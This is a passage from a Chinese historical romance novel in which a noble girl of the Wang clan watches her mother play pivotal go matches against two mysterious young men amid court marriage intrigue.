“元公子,我们去那里坐吧。”我指着戏台东侧的廊下,那里围坐着一群青春少年,风华正茂。他尾随着我,一前一后,引来一路不少目光,倒颇有点狐假虎威的味道。
“牧哥哥,絮姐姐。”我招呼道。那日的红衣翠衫也在,我款款一礼:“冯公子,桓公子,我们又见面了。”与在座的少年一一见礼后,我侧身让出元烈,向众人介绍道:“这是元公子,六叔的朋友。”我猜想,元烈的年纪应该比他们都长,可究竟有多大,倒又看不出来。
少年们再次落座,案上一盘棋,已到中局。牧哥哥执白又落一子,我粗粗看了一下,形势大好。絮姐姐也认真盯着棋盘,我挨着她坐了下来,撇见她腰间别着一块翠琅玕,甚是眼熟,好像是牧哥哥随身的物件。我在两人中间隔出一道空隙,强拉着玲珑来坐。我这么做是有私心的:絮姐姐是我舅舅谢荻的女儿,早年就和牧哥哥定下婚约,如今已经下聘,只等来年我二伯回京述职的时候,就要上谢府迎娶了。絮姐姐模样好,学问好,待人也好,我总想让玲珑多和她亲近,日后她是不会亏待玲珑的吧?
“絮姐姐,你这玉可真好看。”我隔着玲珑执起她裙子上的玉佩,“可惜少个穗子,你看我这个!”我献宝似的掏出贴身佩在胸前的坠子,是生辰那天母亲送我的,“这穗子是玲珑做的,好不好看?回头我让她也给你做一个。”
絮姐姐有一下没一下地搔着玲珑怀里的绣球,大方笑道:“好啊,那就烦劳玲珑姑娘了。”
我戳了一下玲珑,这丫头是怎么了?平素里对絮姐姐谄媚的很,今天我给她揽了个好活儿,她却这样死板板的,蛾眉深蹙,只一个劲儿地盯着棋盘瞧。我跟着看了一眼,白棋丝毫不见颓势。
执黑与牧哥哥对弈的正是冯公子,今日依旧一身红袍,暗藏麒麟纹,袖口领边都露出一截白色的中衣,其色皓然如凝雪,那好像是……进贡皇室的火浣布?看来,庾妃娘娘对这个表亲可是相当垂爱。
“冯兄,你这是要输啊?”一旁桓公子啜了口茶,悠然道。
“桓兄,这么快就有定论了?”冯公子倒很笃定,两指夹着一枚黑棋,和着台上伶人的曲子在案上击节,然后从容落下。又是几个回合,黑棋的形势还是不见好转。“王兄弈棋的老师真的是南谢吗?”看他样子是打算弃子了,心不在焉地和牧哥哥闲话起来。
“算是吧,三婶曾经指点过一二。”
“我倒有个不情之请,若我这局能翻盘,可否请夫人出来和我对弈一局?……金谷园乌鹭擂名扬天下,我一直盼望能目睹南谢的风采呢。”
“嗯……三婶的事,我不敢随便应你。定居建康以后,慕名向她挑战的人也来了不少,三婶都一一回绝了,从没见她应谁的战。”
“不算挑战,只是希望能得夫人指点。”这人还是不肯罢休,嘴上说得谦虚,但语气里满是倨傲。我心说,先顾好你这盘棋再说吧,连牧哥哥都赢不了,还想挑战我的母亲。
我偷睐一眼玲珑,她今天怎么“君子”起来,一直拢着眉头不说话。玲珑侧过脸来看我,那眼神分明在说,牧哥哥要输。怎么会呢?我搔头再看,还是不明就里,于是摸了三下鼻子,那是平时和玲珑作弊用的暗号,意思是,你可有解?
玲珑扁扁嘴,无奈摇头。我是看不出名堂,倒连她也解不开吗?我又摸了摸鼻子,叫她再试,她却还是摇头。我不停地摸鼻子,想是把鼻子都搓红了。本来一场无关紧要的游戏,也不知自己怎么就执拗起来,大约是和这姓冯的公子八字不合吧,打从瓦官寺第一面,我们就互相看不顺眼了。
玲珑按下我的手,轻轻舒了口气,用唇形说:就一个法子可解。只见她把手藏进绣球的白毛里,狠掐了一下,绣球“喵呜”一声从她手里窜了出去,跳上棋盘,来回扑腾了几下。大伙儿一阵惊慌,有人伸手去抓,没抓住,叫它夹着尾巴逃走了。
案上的黑白棋搅成一团,忙乱中,玲珑朝我调皮地眨了眨眼睛,我本想回报一笑,却见她手背上几条红印,慢慢地往外渗血。我笑不起来了,暗骂自己任性,何苦去争这样的输赢。才想上前关心,就有人抢先递去一块帕子,不必抬头,光看这衣袖就知道是冯公子了。
见他笑得邪气,想必已经知道内情,玲珑被他盯得浑身不自在,一张脸煮熟了似的。
戏台上又是一幕,有女当垆,有男涤器,唱得火热。台下也没多少人专心在看,只听人群里淅淅簌簌,定睛瞧去,原来是父亲携着母亲,也来赴宴了。这俩人久居深宅,极少出来露面。南谢盛名在外,今日一出,艳惊四座,倒也不足为奇。
大伯起身相迎,将俩人带至一处雅静的坐位,面前一副水晶帘,半遮半掩地挡住了旁人的视线。我趁势从
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冯公子面前拉走玲珑:“爹爹娘亲都来了,我们去问个安吧。”
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父亲今日气色颇好,长袍束冠,一副俊雅书生的模样。母亲坐在他身侧,一身月白衫,行止如轻云蔽月,流风回雪。我却只是一丛小小蒹葭,倚在这俩人身旁,肯定又失了不少颜色。
“你的手怎么了?”母亲眼尖,执起玲珑的手查看。
“绣球抓的,不碍事。”玲珑回道。
“哎,是我不好。”我插嘴道,将刚才之事,一一禀告。
母亲透过帘子,打量了冯公子一眼,浅浅笑道:“玲珑也解不开吗?”
“是。”玲珑和母亲学棋多年,已有默契,三两下就把刚才一局描述清楚,“夫人有解吗?”玲珑问。
母亲略想一下,一语道破玄机。玲珑歪着头沉吟片刻,捂着嘴,瞪大双眼,不可思议道:“对呀,对呀!还是夫人厉害!”
母亲笑言:“不过这也不是万全之策,还需看那少年如何应对。我看他棋力不俗,阿牧想要赢他,恐怕很难。”
听母亲口气,是对那冯公子赞赏有加,我在一旁竟有些吃味儿,撇撇嘴道:“还不是给娘亲解开了,就他那两下子,还想挑战您呢!他这人,轻狂的很,倒连顾先生的画都敢随意褒贬呢!”
母亲闻言,微蹙眉头,又朝帘外张望:“你是说,他姓冯吗?”
“嗯,是庾妃娘娘的表亲。”
母亲看了父亲一眼,父亲似有不解,缓缓道:“倒不曾闻颍川庾氏有姓冯的亲戚。”
母亲敛容又问:“狸奴,他可是那日瓦官寺里的红衣少年?”
我点点头。父亲听了,也关心起来:“可是你大伯送去宫中的《游春图》?”
我摇摇头,“是不是大伯送到宫里的我不知道,但好像是叫什么《游春图》。”
父亲轻叹一气,对母亲道:“狸奴之事,大哥昨夜又来向我提起,我说,此事还需与你商量商量……但我以为,此事也不是你我说了算的。我看大哥极力促成,只等万岁圣旨一下……这也不是坏事,狸奴大了,为人父母,也总归是要放手的。”
父亲一言,我脑子里直觉迸出一个念头:冯,司马?随即就不敢再往深想了。母亲低眉不语,良久,抬起头对玲珑道:“去请冯公子来,他不是想和我对弈一局吗?”
玲珑绕过戏台去东边廊下请人,围坐在一起的少年们想是都得了信儿,纷纷起身,簇拥而来。廊下偏僻,正对戏台的大伯和一些朝中要员原本是不会注意到这群后生晚辈的,但那么多人闹出动静,很难不引人侧目。大伯抻脖子看了一眼,目光一下就锁定了冯公子,他一身红袍走在最前面,春风得意,能不显眼?几个大人物皆欲起身,被大伯伸手压了下来,低头与他们耳语了几句,便和六叔离席,往我母亲这厢来了。
9. 第八章 一局定胜负
来燕堂一隅登时围了不少人,大伯遣了几个心腹,不动声色地将闲杂人等赶走,只留了冯公子和几个王家人,还有……元烈。原本也要赶他的,被我六叔挡了下来。水晶帘下有他和我母亲在,只觉得满屋生辉,眼睛都不够用了。
大伯似欲上前施礼,那冯公子抢先一步,拱拳道:“王太尉,小生冯央见过大人。”大伯见此情景,手在半空僵了片刻,只得尴尬落下,道了句:“冯公子,请。”
六叔挨到我身边,用手肘撞了我一下,低声戏谑:“哎,丈母娘要考女婿了。青年才俊,我看很不错。原先还以为是个病秧子呢,可见是误传,狸奴这下子是不是放心了?”我也用胳臂撞回去,撇过脸,悄悄挪到大伯身边。六叔夸张地闪了一下腰,笑嘻嘻凑到元烈那里去了。
母亲抬手示意冯公子先请,冯央撩起红袍,轩然落座。他点头道了句:“前辈,承让了。”便拾起一枚白子,落在右手星位。
母亲颔首,应了句:“不敢当”,轻掳袖口,在天元处落了一枚黑棋。
冯央执白棋的手停在半空,挑眉看了我母亲一眼,似有不满,凉凉道了句:“夫人真是高手!”才缓缓将手中的棋子落下。玲珑曾经说过,这好像是我母亲的习惯,第一子总是落在正中。但我一直以为,母亲天下第一,小小王府里更是没有对手,如果不让人几个子,这棋实在是没法下的。我心说,这人还真是不懂事,一会儿不叫你输得太难看,你就该感恩戴德了。
父亲和玲珑看得认真,大伯和六叔的心思显然不在棋盘上,六叔一直仰着头和元烈说话,帘外依旧歌舞升平,他们说了什么,我也听不清楚。元烈似乎并不理他,有青云遮月,我不知道他的眼睛在看什么,抑或什么也没有看,但我总觉得青纱之后,有双目炯炯,可以洞悉一切。
棋到中盘,黑白双方胶着不下,竟难分胜负,我倒也看不出是母亲故意让他。我挪到玲珑身后,扯了扯她的衣襟,小声问道:“你看出什么了?娘亲让他的吧?”
玲珑喃喃道:“冯公子真厉害!夫人她……”她摇摇头,自言自语:“不会的,不会的……”
母亲和冯央皆无言语,只有黑白两色交叠落下,在方寸之间化为千军万马。伶人的歌声愈渐缥缈,好像在耳边化为远方擂动的战鼓。我抬首,眼前一方小小水晶帘,仿佛隔着不同世界,外面多少熙熙攘攘,都被这一颗颗水晶球打成了碎片。帘下站着六叔和元烈,鸾姿凤态,更让人觉得此处宛如仙山琼阁,已然超脱尘世。
这是一盘快棋,须臾已近尾声,两棋始终相持不下,难道会是和局?母亲缓缓放下最后一子,飘然如尘埃落定。玲珑上前数子,众人屏息静候。许久,她才恍恍惚惚道:“夫人……输了一子半。”
大家脸上多少有些错愕,连母亲似乎也有片刻讶异,但随即就神色如常,轻松笑道:“冯公子,我输了。”
大伯上前啧啧称赞,连道:“后生可畏!后生可畏!”冯央拱了拱拳:“是夫人承让!”一身红袍,映得他满面红光。
六叔又来撞我,朝我挤眉弄眼,好像在说:这下你可高兴了吧?我忿忿斜他一眼,母亲输棋给他,我可不会高兴,一点也不高兴!
冯央整了整袖子,起身向大伯告辞:“我还有事,先告辞了。王太尉,今日多谢款待。”大伯不敢留他,侧身请他先行,他倒也不客气,负手走在最前头,衣袂飘飘,像是着了一团火。我暗暗后退一步,免得引火上身。不知哪里窜出几名黑衣人,尾随他身后往府门外去了,大伯直送出老远,才折返回来。
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大伯前脚返回,后脚就有公公来传圣旨。王府里的拜月宴,年年如此,酒到酣处,宫里就会遣人来送赏赐。有几年,圣上还携着皇后亲自驾临。对很多人来说,这才是今天晚上的重头戏。赏的东西虽然普通,但意义非比寻常,一是皇恩浩荡,二也显示了琅邪王氏在南朝中无可撼动的地位。
今年的赏赐是一盘团圆饼,这饼原叫“胡饼”,只因北方还陷落在胡人手里,这“胡”字就成了汉人的忌讳。南朝绝少胡人,边境曾有一个冉姓的将军无端屠杀当地的羯人,朝廷知道后,竟然听之任之,此事也就不了了之了。照说刘圭是匈奴人,李氏兄弟是巴氐人,怎样都与羯人无关,但南朝人对异族恨之入骨,已经全然不顾此胡还是彼胡了。中秋佳节,良辰好景,这象征着人月两团圆的糕饼,自然也就不能再用“胡”字了。
大伯领着我们谢完恩,又和宦官寒暄了几句:“公公辛苦!近来圣上龙体如何?”
宦官重重叹了一声:“药是吃着,可是……还不见大好。”
大伯也是愁眉不展,关照道:“务必请陛下保重龙体!”
那公公连连点头,大伯喊人给了赏钱,便打发走了。
团圆饼不多,我倒也有幸分得一块。馅是酥和饴,甜得腻人,大概不是为了给人吃的,只为讨个彩头。但不吃又不行,我只得将它分成几份,多找些人来分担,以示今上泽被四海。我把自己的一块塞进嘴里,就着菊花茶囫囵吞咽下去,小声对玲珑说:“比你做得莲糕差多了,可惜已经过时,须等明年夏天才有得吃。”
冯央走后,母亲看上去不大高兴,我想是输了棋的缘故。我扑进母亲怀里,不知道学老莱子娱亲有没有用?才做了几个鬼脸,她却好像益发难过了,手指掐得我生疼。一阵凉风过,父亲猛咳了几声,她才放开我,搀着他回弈秋园里去了。
戏台上又换了一出,咿咿呀呀唱着,我已无心观看。六叔薄贴似得粘上元烈,元烈就会不动声色地把他从身上撕扯下来,一来一往,颇为热闹。看元烈的身手,似乎谙于此道,估计也是习惯了,不然凭他那副长相,早就被人看煞了。这两人皆非凡品,即便这样拉拉扯扯的,也有如蝴蝶般灵动,看着他们,倒是比看戏有趣多了。
元烈好像发现角落里的我,挥扇向这厢来。我忙低头去搅碗盏里的桂浆,心说,你若和六叔不是一国的,走人就是了,何必把我牵扯进来?又想,这人既不喜欢六叔,又这样半推半就的,莫不是为了傍上王氏这棵大树?于是,又嗤鼻起来。
“王小姐,”他唤我,我只得抬头。“你我还差一盘棋呢。”他展开折扇,在我面前轻轻摇了摇,一阵檀香扑鼻。扇面那笔章草,银钩铁画,当真是件绝品。嗯……我咬咬牙,为青兕墨宝,还是勉为其难好了。
“这里吵闹,我们去雅园里下吧。”六叔对我谄笑。
“嗯,正好想借《禊贴》。”我坐地起价。
“好好好。”六叔向我挑眉,我假装不懂其中深意,起身走在最前面,往吉光雅园去了。
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璧月辉,夜夜满。琼树花,朝朝新。自从栽了棵玉树,流光满园,别有洞天。
墨玉树下倚坐一人,举杯邀月,已经喝得烂醉。六叔上前踢他一脚,嚷道:“顾怡,痴人……你这酒鬼!”顾先生歪了下身子,嘴里喃喃有词,并不理他。六叔喊刘安:“去去去,帮他醒醒酒,别醉死在我这里。”刘安七手八脚去抬
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他,我看了元烈一眼,六叔认识的,果然非妖即怪!
禊堂里摆下棋盘,六叔挨着元烈坐下。玲珑双手交叠,规规矩矩站在一侧,整装备战,只等我一声令下。
我道了句“承让”,拾起白子落在左手星位。“小姐是左利?”元烈淡淡问了一句。我不语,换右手拿了颗棋子在手里把玩。“我也是。”他对此似乎不以为意,顺手落下一子,可明明用的就是右手。
元烈这子落在天元,我扁扁嘴,心里有些发虚,莫非此人也是高手?我看了玲珑一眼,落子又占一角。
几手下来,才略略放心,元烈的棋艺原来和我不相上下。我偷吃了他一子,把他的黑棋从棋盘上提出来,掩袖笑得得意。玲珑也微微笑了一下,见她神色泰然,我便安心了。
一局过半,黑白两棋实力相当,还是看不出胜负。我不敢轻率,万一结果差个一子半子的,岂不怨煞。我摸了三下鼻子,为保险起见,不如让玲珑支我一招。
玲珑得到暗示,揉了揉耳垂,又挠了三下手背。我看她反应迅速,想是早就技痒了,也难为她在一旁看着我们两个臭皮匠互相折磨了半天。我按照玲珑的提示放下白棋,再看一眼局势,真是妙哉妙哉!
这下子你要认输了吧?我抬头看元烈,面有得色。元烈只勾唇一笑,毫不犹豫地把手里的棋子放到棋盘上,好像料准了我会这么做似的。黑棋的局面一下子就打开了,我诧异地看向玲珑,玲珑歪了下头,也有一脸疑惑。随即,又偷支了一招。
元烈连解玲珑三招,我才知道自己上了当。此人定是非同一般的高手,大概就连最后胜负几个子都在他的算计里了。我看了玲珑一眼,她好像也意识到事情的严重性,有些发懵。罢罢罢,愿赌服输!
我手里搓着一枚玛瑙棋始终不落,元烈看着我,说也奇怪,我好像就是知道他在看什么似的。“元公子,”我道:“我若输了,任你拣选一样首饰。只是……我实在喜欢你那把扇子,可否开个价?”
元烈笑道:“小姐若输了,元某就讨小姐随身一样首饰。这扇子嘛……小姐真喜欢,送与小姐也是无妨的。”
我眼睛一亮,狠不得现在就投子认输。“当真?……嗯,倒不知元公子看中我身上哪件首饰了?”我好奇起来。
“就是小姐胸前所佩的玉坠。”
我忙捂住胸口,那坠子我一直贴身戴着,他又如何知道的?许是刚才给絮姐姐瞧的时候他也看见了,但在这之前,我们就已作赌,这到底是蓄谋已久,还是临时起义,怎么就盯上这坠子了呢?所有的问题在脑海里飞快地盘旋,无解。我的首饰,只有这件是不能给人的,我答应过母亲。“这……元公子,我的玉镯、耳坠皆价值不菲,你不如换一样。此物并不值钱,但对我母亲来说是很重要东西,我答应过她,不能给人的。”
“小姐既这么说,我也不是非要不可的。那就……请夫人出来对弈一局,可否?”元烈把手中的棋子放回锦盒里,挥扇笑道。
原来是蓄谋已久!十多年来,慕名前来向我母亲挑战的人络绎不绝,为了逼她出手,各种方法层出不穷,只是从来没有人成功过,直到今日,我母亲为冯央才破了戒。六叔,赌石、折扇、玉坠子……这人步步为营,倒是费尽了心机。
我被人当了棋子,也不能叫他轻易就得逞了。我忍着气,笑道:“这事我不便做主,你等我回去请示过母亲,再来决定拿什么和你作赌。这局棋……你先留着,我们还没分出胜负呢!”
元烈抬手道了句:“小姐,请!”颔首一笑,如晓色云开。
我咬了咬唇,等一会儿你就笑不出来了!我起身拉过玲珑,飞也似的往弈秋园跑去……
10. 第九章 有姮娥孤栖
云母屏开,月华如练,冷浸佳人淡脂粉。弈秋园里,有姮娥孤栖。父亲已经睡下了,母亲一人在凉亭里复盘,正是刚才和冯央对弈的一局。不知怎的,千里共月,总觉此处最明,也许是因为母亲的美,太过清冷。
阿代嬷嬷端着茶盘从假山后来,我躲避不及,险些撞上。嬷嬷一把拉住我,“小小姐,怎么跑得这么急,小心跌跤。”
母亲见我前来,也有诧异。我急道:“娘亲,帮我解盘棋吧!”
母亲抿唇一笑,面若芙蓉,眉若远山,“狸奴什么时候对下棋这么有兴趣了?”
我干笑了几下,赶忙示意玲珑去复盘。玲珑看了眼石桌上的棋局,似有不解,手指僵僵地停在半空。母亲放下杯盏,一挥袖将棋子打散,对玲珑道:“你摆吧。”
玲珑复盘的速度极快,才将最后一子摆上,母亲想也没想就下了结论:“白棋输了,没得解。”
我和玲珑闻言,面面相觑,都有些傻眼。“娘亲……你再看看,也许……”
母亲不看棋盘,只盯着我瞧,我的脸被她盯得火烧火燎的。良久,她厉声问道:“狸奴,你是和人作赌了?赌了什么?”
我“扑通”一声跪倒在地:“娘亲,孩儿错了。我……我和人赌了……赌了玉坠子。他说,如果不给他坠子,就……就请娘亲出面和他对弈一局。”
我抬眼偷觑,母亲不语,只失望地看着我。我低头等了等,见她还是不愿说话,“娘亲,孩儿错了,再不敢了。我知道那坠子是您看重的东西,您……就……”
风吹眉山,翠绿尽收。我从没见她这样生气,再也说不下去了,只能含泪看她,眼睛里模模糊糊的,许久才听见微不可闻的一声叹息。她拂袖起身,背对着我,漠然道:“你不爱学棋,我也不逼你。你和玲珑那点伎俩,我也不是不知道,只当你是为了应付我,也就睁一眼闭一眼放任你去了。没想你学艺不精,倒学会拉着玲珑和人作赌了……愿赌服输,自己闯下了祸,就自己收拾。那坠子我既给了你,你留不住……也是你的事。”
母亲要走,我意识到这次错得离谱,眼泪“吧嗒吧嗒”落下来,砸在凉凉的石板上,开了花。玲珑疾走几步,跪倒在地,“夫人,是玲珑的错,您罚我吧!小姐年轻,不谙世故,才会被人骗了去。”阿代嬷嬷也跟着求情:“小姐,小小姐知道错了。那人不过是想挑战您,看他那么下心思,这次不成,定有下次。这些人的主意都打到小小姐身上了,您就不怕吗?”
母亲望月良久,月色下,一身绢衣白得耀眼。我膝行几步,拉住她的裙摆,生怕她也吃下不死药,飞走就再不理我了。
等了许久,她才长叹一气,淡声道:“起来吧……去喊他来。”
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元烈被玲珑带进弈秋园,风流尔雅如题桥贵客、栽花潘令、真画眉郎,那是在我母亲面前也绝不失颜色的人物。只可惜……是个大骗子!他朝我点头一笑,我愤愤白他一眼,撇过头去,不愿理他。
母亲喊阿代嬷嬷给他沏了一杯茶。两人并不急着开枰,对坐寒暄起来。
“元公子家住何处?”
“长安。”
“哦?元公子是北朝人?”
“都是武帝遗民,何分南北?”
“是……公子的眼睛?”
元烈一笑:“只是羞明,元某看得见,不需夫人陪我下盲棋的。”
母亲也笑了一下,和气道:“不知公子如何患上此症的?我倒认识几个名医,若是不嫌弃,可以请他们来看一看。”
“高山雪大,不慎灼伤眼睛。元某粗通医术,就不必烦劳夫人了。”
母亲点了点头,又问:“看来元公子游历了不少地方,此次来建康?”
“元某也是路经此处,顺道了却朋友一桩心事。”我“哼”了一声,什么顺道,分明就是算计好的!元烈也不看我,勾了勾嘴角,笑得逸气。
母亲终于进入正题:“元公子,我女儿身上的玉坠子不便给人,对你来说也没有什么用处。我这倒有几块上好的玉料,还未经雕琢,可任元公子挑选。”
“元某不为玉来,愿与夫人对弈一局,元某说了,只为了却朋友一桩心愿。”
母亲抿抿嘴角,悠然道:“我年轻时候疏狂,在洛阳金谷园摆了场棋擂,又侥幸赢了几局,就被人误传成天下第一。可天下如此大,有谁敢称第一呢?这十几年来,我一直为此虚名累,更不敢出来应战。今日一时技痒,可一出手就输给了一个后生晚辈,元公子也看见了。我并不是天下第一,你就算赢了我,又当如何呢?”
元烈啜了口茶,笑道:“就元某所见,今日夫人只是算差了半个子而已。夫人棋力之高,登峰造极,与冯央之辈对局,还不是想赢多少是多少,想输多少是多少。棋如人生,看人下棋,不在此人棋艺高低,而是看人为人。以夫人之棋力,想必已经看得很透彻了吧。”
原来母亲是故意输的,为什么?难道只为图个清净,才转嫁这“天下第一”的名号?可为什么又要转嫁给冯央呢?我嘟起嘴,倒有些不服气。玲珑也没看出端倪的棋局,却被元烈看出来了。母亲也不再与他辨,沉吟片刻,抿嘴一笑,倒有几分惨淡:“元公子,话已至此,那就请吧。”
元烈道了句“承让”,拾起一白子落在天元。这人……难道真有人下棋是这种习惯?母亲的手停在半空,显然也是往天元去的。开局抢天元?还没见过有人这么下棋的。母亲略略思索了一下,将第一子退到了白棋边上。
元烈又落一子,还是不去占角。母亲好像惊异于他的走法,抬起头看他。元烈的眼睛蒙着纱,没有人知道他在想些什么。母亲好像还不放弃,就这样一直盯着他,非要看出什么似的。
“夫人?”元烈唤她,她还是这样看着他,缓缓将手中的黑子落到棋盘上。
元烈低头又摆一子,母亲想也不想,就跟着放上一子……两人越下越快,让人疑心这不是在下棋,而是在复盘,这盘棋,两个人都谙熟于胸……
棋子如骤雨般落下,凉亭里的空气都凝结起来。更深露重,我的手脚被冻得冰凉,母亲的身子也开始颤抖,不知道是冷,还是紧张。没有人说话,可是每个人的心里都有一团乱麻。除了元烈,好像一切都在他的掌控里……
眼看快要了局,母亲手里捏着一枚黑子始终不落,指骨都捏得发白了。“王碧”,她终于出声,咬牙念出一个陌生的名字,阿代嬷嬷也跟着震了一下,“……是你的朋友?”
“亦师亦友。我跟他学了三年棋。”元烈从容答道。
母亲苦涩一笑,才将手里的黑棋郑重放下。元烈从盒子里取出一枚白棋,在手中揉搓了一会儿,又在棋盘上敲打几下,似在思索。“他对我说,当年夫人走错一招,才让他侥幸赢了半子。如果照夫人今日这种走法,他就满盘皆输了。”
“你来,就是了却他这桩心事?看我到底有没有解开这盘棋?”
“他说,
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如果照夫人今日的走法,他就再无胜算了。我说……那也未必。”元烈若无其事又落一子。母亲低头去看,好像被那黑子下了蛊,定在那里,许久也不动。元烈继续道:“此招元某想了三年才想出来,夫人可有应对?”
母亲抬头看她,哼笑道:“妙招!元公子,你到底是来了谁的心愿?”
元烈拱了拱拳:“元某三年所得,这子不落不快,在夫人面前献丑了。元某此番来,一不为美玉,二不为赢棋,确实只想为朋友捎带几句话。可是,见夫人一面难,想让夫人听我说上几句话,就更难了。不得已才出此下策,请小姐勿怪。”他这话是冲着我说的,我一时也不知要不要原谅他,低头搓了搓手指。
“玲珑,时候不早,带小姐回去休息吧。”没想母亲发话了,这事她总归不想让我知道,我虽然好奇,也不便再问,只好和玲珑退了出来。
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来燕堂前平乐宴,斗酒十千,笙歌彻旦,十里闻管弦。我拖着步子往回走,看来今日的泚园也不得清静了。回廊下,顾先生甩着两袖清风,跌跌撞撞迎面而来。
“先生酒醒了?这是要回府吗?我喊人送你。”我停下脚步招呼他。
他却稳稳当当停在我面前:“不必了,我又没醉。”这人还真有意思,不喝酒的时候,看上去疯疯癫癫的,喝了酒,倒又严肃起来。他是个很特别的人,但我认识他这么久,好像从来没有探究他的兴趣,不管他做了什么,说了什么,只消用“怪人”两个字解释就足够了。
“顾先生……嗯……金谷园乌鹭擂,你也去过吧?”
他好像吃惊我有此一问,随即笑道:“是啊,去过……呵呵,你母亲还真不给我留面子,一局下来,我拢共就剩下十几个子了。”
“她……是不是输过棋?”
顾先生掸了掸身旁的白玉栏杆,倚柱坐了下来。“好像是吧……有人这样传,我也不是很清楚。那年头乱,听风就是雨,传什么的都有……呵呵,我也是一时兴起,就去打擂了。输了赢了又能怎样?像我这样的穷光蛋,即便南谢愿嫁,陈留谢氏愿给吗?她最后还不是要入你们王府……怎么,狸奴是担心起自己的姻缘了吧?”顾先生好像开了窍,欢喜道:“我早就说那小儿不灵光!你要是摆擂,可别再摆那老什子的乌鹭擂了,画个画作个诗的,兴许我还能赢。”
“先生又胡说!您还是早些回府吧,狸奴不陪您了。”我佯装生气,拉着玲珑走开了。
为亲者讳,母亲不愿我知道的事,还是不要多问了。我低头走路,心里闷闷地想着:
皇后性烈,做事向来不留余地,她压制庾妃已久,恐怕连太子也没有什么好日子过,不然何以“久抱病榻”呢?如今皇上龙体违和,没有人敢当众揣测,但大家都心知肚明。所以大伯才会这么着急促成这桩婚事。趁皇上现在还能做主,加上皇后从中周旋,不怕太子和庾妃不应。万一……国丧三年,太子登基,今后的事就更难预料了。
我成天埋头写字,许多事只是不愿去想,并非想不到。即使想到,又能如何呢?多少人指望我的婚姻能够延续一个家族的兴盛,是不容许我去反抗的。
冯央,司马映……司马映,冯央……我一路喃喃念着这两个名字。也许,我是幸运的,起码在我走向未知未来的时候,心里还不曾有一个人,会让我用一生去做赌注,又要用一辈子去遗忘。
11. 第十章 重门深几许
佳节又重阳,登高赏红叶,东篱折黄花,把酒执蟹螯。可惜我一样也没得玩,只能躺在床上吃苦药,还要带累玲珑衣不解带地服侍我。
一整天睡得昏昏沉沉的,醒来就见玲珑一双美目顾盼,许是操劳过度,显得更大了。“小姐你醒啦,想吃什么?”
“菊羹。”我懒洋洋答道。
玲珑“噗哧”一笑:“倒是不见你胃口差。”
“嗯,玲珑做的莲糕和菊羹,绝世美味。唉,我也只能拼着身子,吃一口算一口,等我病好透了,怕是又没得吃了……你说,石宗山家里怎么大冬天还吃得到韭叶呢?”
“谁晓得,六爷也想知道呢。”元烈见到母亲后,隔日就回了长安。六叔这阵子也很失落,好在还有一个石宗山可以转移他的注意。
我想了想,也想不出个所以然,眼皮倒又耷拉下来。玲珑替我掖好被子,转身要去下厨,我迷迷糊糊又交代了一句:“记得少放桂姜。”
自小,我对暮秋的记忆就在这一碗菊羹里,冉冉秋光留不住,过了季就不会再有了。枕边一直放着青兕先生所题的折扇,是元烈临走的时候留下来的,托母亲转交给我。我清醒的时候就会拿出来看看,但大部分时间我都在昏睡。玲珑指着被子上的破洞给我看,丝绸的被面被我抠成了絮,露出里头白白的棉花。她说,我睡着的时候还在练字。每每大病初愈,书法都有精进,也难怪别人会疑心,鬼手梦中得。
大伯一直忙于张罗我和牧哥哥的婚事。牧哥哥要娶絮姐姐,只等过完年,二伯回京述职,俩人就能行嘉礼了。他们是幸运的,不单因为他们彼此喜欢,更因他们彼此生在王谢人家,少了多少门户不当的烦恼。
而我,册封的圣旨一直不下……我还是和往常一样,只是埋头写字,不愿去多想皇帝此举背后的含义。山雨欲来,王氏的命运不是我一个人可以造就的,更不是我一个人可以挽回的。
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年前的时候,絮姐姐请我去她家做客,谢府有株老梅开花,已经活了五百年。
□□通幽,远处有疏影横斜,暗香浮动。我紧走了几步,只听得一声“牧之”,婉转莺啼,惊破梅蕊,多少春情意。树下公子回眸,是梅一样清丽的人物,笑语盈盈,执起翩跹佳人手。我赶紧闪身躲到暗处,原来,絮姐姐不单请了我。
玲珑的步子已有迟缓,她脸上的表情是不可琢磨的,我轻轻叹了一声:“我们……还是先去给舅舅问个安吧。”
画桥深处藏小楼,我们沿着淙淙流水一路寻去。舅舅书房的门紧闭着,也不见下人,我疑心扑了空,再走近些,才听见里面有人说话。
“……王家极力促成这桩婚事,大哥,如今只有你能帮我女儿……”那女子的声音很熟悉,我和玲珑对看一眼,满腹狐疑地走到窗下。
“阿落,你别傻了!你们王家的事,我能做什么?王家两朝皇后,这桩婚事有什么不好的?”是舅舅的声音,他在喊我母亲的闺名,难道真的是她?
“他们彼此不喜欢,任谁都看得出来!”的确是母亲的声音,可从我记事起,就没见她踏出王府半步。
“喜不喜欢又怎样?王珲待你不好吗?”
“那不一样,皇后压制庾妃和太子多年,你以为太子会善待狸奴?”我咬了咬唇,母亲是为我而来,但其实不必。
“阿落,生在王谢家,有哪个人的婚姻可以随心所欲?你在洛阳摆擂台的时候不明白,现在还不明白吗?”
“我不明白,我只知道生她下来,不是为了重蹈我的覆辙!早知你态度如此,我不如就让人把她领走了!”
“你的覆辙?你喜欢的人,他在哪里呢?单凭一盘棋,你能看出什么?当初你就看走眼,如今就看得对了?你不要以为当年是我从中作梗,我告诉你,我可什么也没做,是他不要你!”舅舅的声音越来越大,像是被人戳到了伤处。
“我不是来听你翻旧账的!”母亲也不甘示弱。
“王谢两家只有一墙之隔,你十几年也肯不回来,不翻旧账,你还指望有什么新鲜的可听?”
屋子里再无声响。良久,是母亲嘤嘤的啜泣:“大哥,算我求你了……如今圣旨未下,你若肯帮忙,就还有余地转圜……”
舅舅喟叹一声,也放缓了语气:“阿落,以王琰在朝中的地位,向来说一不二,你有没有想过,为何此事陛下会一拖再拖呢?册立太子妃的圣旨,如果年前不下,恐怕就再不会下了……你要担心的,应该不是狸奴的婚事啊!”
“你是说……”
我低头去碾脚下积雪,溅起一块漏进鞋帮里,湿了足衣。我扯了扯玲珑,示意我们还是走吧。玲珑满面愁容,也不知道是为了我,还是为她自己。看来,今天来得真不是时候,我再没有赏花的心情,喊人给絮姐姐捎了个话,就出了谢宅。
“我昨天听六叔说晴雨轩新进了松烟……”我不想回府,随意找了个借口,肩舆漫无目的地在大街上走着。小雪初晴,个人自扫门前雪,那些模棱两可的地界就隆起了高高矮矮的雪堆。几户人家的大门已经换上了新的桃符,红红绿绿的,是皑皑冬日里新的希冀。孩子们扬着红扑扑的脸蛋,嬉闹着从我身边经过,大声唱着不明深意的孺子歌:“五马浮渡江,一马化成龙。王马共天下,后有白牛继……”
天下已经不再是司马一家的天下,南朝也将不再是琅邪王氏的南朝。马后有牛继,可怜那白牛,恐怕也早就成了武帝刀下的冤魂了吧……
